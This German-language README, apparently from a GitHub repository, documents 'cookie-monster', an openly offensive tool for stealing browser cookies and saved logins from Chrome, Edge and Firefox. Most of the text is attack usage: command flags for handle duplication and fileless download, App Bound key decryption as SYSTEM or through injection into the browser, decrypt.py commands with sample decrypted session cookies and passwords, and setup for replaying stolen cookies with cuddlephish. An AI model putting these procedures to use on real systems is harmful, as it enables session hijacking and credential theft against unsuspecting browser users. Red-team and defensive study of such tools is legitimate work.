kingofthenops/cookie-monsterBOF-basiertes Tool zum Extrahieren von Browser-Cookies und Anmeldedaten aus Chrome, Edge und Firefox durch Handle-Duplikation und dateilosen Download, mit Unterstützung für Offline-Entschlüsselung.
Stehlen Sie Browser-Cookies für Edge, Chrome und Firefox durch einen BOF!
Cookie Monster BOF extrahiert den WebKit Master Key und den App Bound Encryption Key für sowohl Edge als auch Chrome, findet einen Browserprozess mit einem Handle auf die Cookies- und Login Data-Dateien, kopiert die Handle(s) und lädt dann die Zieldatei(en) fileless herunter.
Sobald die Cookies/Login Data-Datei(en) heruntergeladen sind, kann das Python-Entschlüsselungsskript verwendet werden, um diese Geheimnisse zu extrahieren! Das Firefox-Modul parst die profiles.ini und findet heraus, wo sich die logins.json und key4.db befinden, und lädt sie herunter. Für die Offline-Entschlüsselung wird auf ein separates GitHub-Repository verwiesen.
Chrome & Edge 127+ Updates: Neue Chromium-Browser-Cookies (v20) verwenden den App Bound Key, um die Cookies zu verschlüsseln. Dadurch wird das Abrufen des app_bound_encrypted_key etwas schwieriger. Dank snovvcrash kann dieser Vorgang ohne Erhöhung der Berechtigungen durchgeführt werden. Der Haken ist, dass Ihr Prozess aus dem Anwendungsverzeichnis des Webbrowsers heraus laufen muss. D.h. Sie müssen in Chrome/Edge injizieren oder einen Beacon aus demselben Anwendungsverzeichnis wie der Browser starten.
Entschlüsseln Sie Cookies als SYSTEM, ohne in den Browserprozess injizieren zu müssen! Dank an @sdemius für die Entdeckung, wie die Chrome-Funktion PostProcessData entschlüsselt werden kann, und an @b1scoito für die Erklärung! Chrome 137+ hat die Funktion PostProcessData() erneut geändert, Dank an @runassu für die Lösung!
Das neueste Update fügt die Entschlüsselung des Webkit Master Key hinzu, dank @M1ndo. Der Master Key wird automatisch zusammen mit dem App Bound Key entschlüsselt. Um ihn zu nutzen, fügen Sie den Schlüssel zum Python-Entschlüsselungsskript hinzu. Dieser Schlüssel wird hauptsächlich verwendet, wenn Roaming-Profile im Einsatz sind, gespeicherte Passwörter in Edge oder ältere gespeicherte Passwörter.
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Beispiele:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-monster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Optionen:
--chrome, durchsucht alle laufenden Prozesse und Handles; falls einer auf chrome.exe passt, wird das Handle auf Cookies kopiert und die Datei in das aktuelle Arbeitsverzeichnis kopiert.
--edge, durchsucht alle laufenden Prozesse und Handles; falls einer auf msedge.exe passt, wird das Handle auf Cookies kopiert und die Datei in das aktuelle Arbeitsverzeichnis kopiert.
--system, Entschlüsselt den App Bound Encryption Key von Chromium-basierten Browsern, ohne in den Browser zu injizieren. Erfordert Pfad zur Local State-Datei und PID eines Benutzerprozesses zur Identitätsübernahme.
--firefox, sucht nach profiles.ini und findet die Dateien key4.db und logins.json.
--chromeCookiePID, wenn eine Chrome-PID angegeben wird, sucht nach dem angegebenen Prozess mit einem Handle auf Cookies; gibt die PID an, um dessen Handle und Datei zu duplizieren.
--chromeLoginDataPID, wenn eine Chrome-PID angegeben wird, sucht nach dem angegebenen Prozess mit einem Handle auf Login Data; gibt die PID an, um dessen Handle und Datei zu duplizieren.
--edgeCookiePID, wenn eine Edge-PID angegeben wird, sucht nach dem angegebenen Prozess mit einem Handle auf Cookies; gibt die PID an, um dessen Handle und Datei zu duplizieren.
--edgeLoginDataPID, wenn eine Edge-PID angegeben wird, sucht nach dem angegebenen Prozess mit einem Handle auf Login Data; gibt die PID an, um dessen Handle und Datei zu duplizieren.
--key-only, holt nur den App Bound Encryption Key. Versucht nicht, die Cookie- oder Login Data-Dateien herunterzuladen.
--cookie-only, holt nur die Cookie-Datei. Versucht nicht, die Login Data-Datei herunterzuladen oder den App Bound Encryption Key abzurufen.
--login-data-only, holt nur die Login Data-Datei. Versucht nicht, die Cookie-Datei herunterzuladen oder den App Bound Encryption Key abzurufen.
--copy-file, kopiert die Cookie- und Login Data-Datei in den angegebenen Ordner. Verwendet keine fileless-Abrufmethode.
Stellen Sie sicher, dass Mingw-w64 und make unter Linux installiert sind, bevor Sie kompilieren.
make
Abhängigkeiten installieren
pip3 install -r requirements.txt
Verwendung
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
Beispiele: Chrome/Edge Cookies-Datei entschlüsseln
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Ergebnisbeispiel:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Chrome-Cookies mit Chrome AES Key entschlüsseln
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Chrome/Edge Cookies-Datei entschlüsseln und als JSON speichern
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Ergebnisbeispiel:
Cookies saved to 2025-04-11_18-06-10_cookies.json
Importieren Sie die Cookies-JSON-Datei mit https://cookie-editor.com/
Chrome/Edge Passwörter-Datei entschlüsseln
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Ergebnisbeispiel:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Firefox-Cookies und gespeicherte Anmeldedaten entschlüsseln:
https://github.com/lclevy/firepwd
Die Option cuddlephish wurde zum Entschlüsselungsskript hinzugefügt, die die Verwendung des Cookies mit https://github.com/fkasler/cuddlephish unterstützen soll.
# Cookies entschlüsseln
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Projekt klonen
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Abhängigkeiten installieren (Beispiel auf Debian)
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install